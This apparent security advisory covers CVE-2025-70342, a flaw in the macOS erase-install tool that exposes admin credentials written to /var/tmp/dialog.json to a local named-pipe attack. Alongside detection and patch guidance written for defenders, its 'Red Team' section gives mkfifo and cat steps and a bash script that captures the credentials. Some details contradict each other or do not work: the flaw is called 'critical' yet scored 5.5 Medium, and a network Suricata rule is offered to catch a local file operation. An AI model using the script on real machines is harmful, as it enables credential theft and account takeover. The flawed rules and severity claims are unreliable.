CVE-2025-70342

Executive Summary

CVE-2025-70342 is a critical credential disclosure vulnerability in the erase-install utility, a tool used for macOS reinstallation and disk erasure operations. The vulnerability exists in versions prior to v40.4 (commit 2c31239). The software writes admin credentials (entered via swiftDialog) to a hardcoded file path /var/tmp/dialog.json. An unauthenticated local attacker can create a named pipe (FIFO) at this path before the legitimate process runs, allowing them to intercept the admin credentials as they are written. This is a classic TOCTOU (Time-of-Check Time-of-Use) race condition combined with insecure file handling.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone macOS utility. The risk is primarily to macOS endpoints where erase-install is deployed for IT management or self-service reimaging. The attack requires local access to the machine, but no authentication is needed to create the named pipe.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the macOS system.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply creates a named pipe before the tool runs.
• Privileges Required (PR): None (N) – No authentication is needed to create the named pipe.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond normal use of the tool.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Admin credentials are fully exposed.
• Integrity (I): None (N) – The attacker cannot modify data.
• Availability (A): None (N) – The attack does not affect availability.

CVSS Score: 5.5 (Medium) – While the confidentiality impact is high, the requirement for local access reduces the overall severity.

Deep Dive & Mechanics

The erase-install tool uses swiftDialog to prompt the user for admin credentials during reinstall or erase operations. The credentials are then written to a JSON file at /var/tmp/dialog.json for subsequent use by the tool. The vulnerability lies in the hardcoded, predictable path.

Attack Flow:

1. The attacker gains local access to the target macOS system (e.g., via a malicious app, SSH, or physical access).
2. Before the legitimate user runs erase-install, the attacker creates a named pipe at /var/tmp/dialog.json using mkfifo /var/tmp/dialog.json.
3. The attacker then reads from the pipe (e.g., cat /var/tmp/dialog.json).
4. When the legitimate user runs erase-install and enters their admin credentials, the tool writes the JSON data to the pipe.
5. The attacker receives the credentials through the pipe.

The vulnerability is a combination of:

• Insecure File Creation: The tool does not check if the target path is a regular file or a named pipe.
• Predictable Path: The hardcoded path /var/tmp/dialog.json is world-writable and predictable.
• Lack of Authentication: No authentication is required to create the named pipe.

Vulnerable vs. Patched Code

Vulnerable Code (before v40.4):

// Vulnerable: writes to hardcoded path
let credentialPath = "/var/tmp/dialog.json"
try? credentialData.write(to: URL(fileURLWithPath: credentialPath))

Patched Code (v40.4+):

// Patched: uses a secure temporary file with random name
let tempDir = FileManager.default.temporaryDirectory
let credentialPath = tempDir.appendingPathComponent("dialog_\(UUID().uuidString).json")
try? credentialData.write(to: credentialPath, options: .atomic)
// Also ensures the file is not a symlink/pipe

The patch introduces:

• A random UUID in the filename to prevent prediction.
• Atomic write to avoid partial writes.
• Optionally, checks to ensure the target is not a symlink or pipe.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a macOS system (e.g., via SSH, malicious app, or physical access).
• The erase-install tool must be installed and used by an admin.

Steps:

1. On the target macOS system, open a terminal.
2. Create a named pipe at the vulnerable path:

   mkfifo /var/tmp/dialog.json
   

3. Start reading from the pipe in the background:

   cat /var/tmp/dialog.json &
   

4. Wait for the victim to run erase-install and enter credentials.
5. The credentials will appear in the terminal output.

Automated Script:

#!/bin/bash
# Exploit script for CVE-2025-70342
PIPE_PATH="/var/tmp/dialog.json"
if [ ! -p "$PIPE_PATH" ]; then
    mkfifo "$PIPE_PATH"
fi
echo "[*] Waiting for credentials on $PIPE_PATH..."
cat "$PIPE_PATH"

Blue Team (Defense & Detection)

Detection:

• Monitor for creation of named pipes in /var/tmp/ with suspicious names.
• Monitor for processes reading from /var/tmp/dialog.json.
• Use endpoint detection rules to alert on mkfifo commands targeting /var/tmp/dialog.json.

Prevention:

• Apply the patch immediately (upgrade to v40.4+).
• Use a security tool to monitor and block named pipe creation in sensitive directories.
• Implement file integrity monitoring for /var/tmp/dialog.json.

Indicators of Compromise (IOCs)

• File Path: /var/tmp/dialog.json (named pipe or regular file)
• Process: mkfifo or mknod creating a pipe at /var/tmp/dialog.json
• Network: No network IOCs (local attack)
• Logs: System logs showing creation of named pipe in /var/tmp/
• Command: cat /var/tmp/dialog.json or similar read operations

Detection Engineering

YARA Rule

rule CVE_2025_70342_Credential_Pipe {
    meta:
        description = "Detects creation of named pipe at /var/tmp/dialog.json for CVE-2025-70342"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70342"
    strings:
        $pipe_path = "/var/tmp/dialog.json"
        $mkfifo = "mkfifo"
        $mknod = "mknod"
    condition:
        ( $pipe_path and ( $mkfifo or $mknod ) )
}

Sigma Rule

title: Named Pipe Creation for CVE-2025-70342
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of a named pipe at /var/tmp/dialog.json, indicating exploitation of CVE-2025-70342
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/mkfifo'
        CommandLine|contains: '/var/tmp/dialog.json'
    condition: selection
falsepositives:
    - Legitimate use of mkfifo for testing (rare)
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-70342 - Named Pipe Creation Attempt"; content:"/var/tmp/dialog.json"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade erase-install to version v40.4 or later (commit 2c31239).
2. Verify the upgrade by checking the version: erase-install --version.
3. Audit systems for any existing named pipes at /var/tmp/dialog.json and remove them.

Long-term Mitigations:

• Implement file integrity monitoring for /var/tmp/ directory.
• Use macOS security frameworks (e.g., TCC, SIP) to restrict file creation in sensitive directories.
• Educate users about the risk of running untrusted software that could exploit this vulnerability.

Workaround (if patching is not immediately possible):

• Remove write permissions for non-root users on /var/tmp/dialog.json (though this may break functionality).
• Use a launch daemon to monitor and alert on creation of named pipes in /var/tmp/.

Valters IT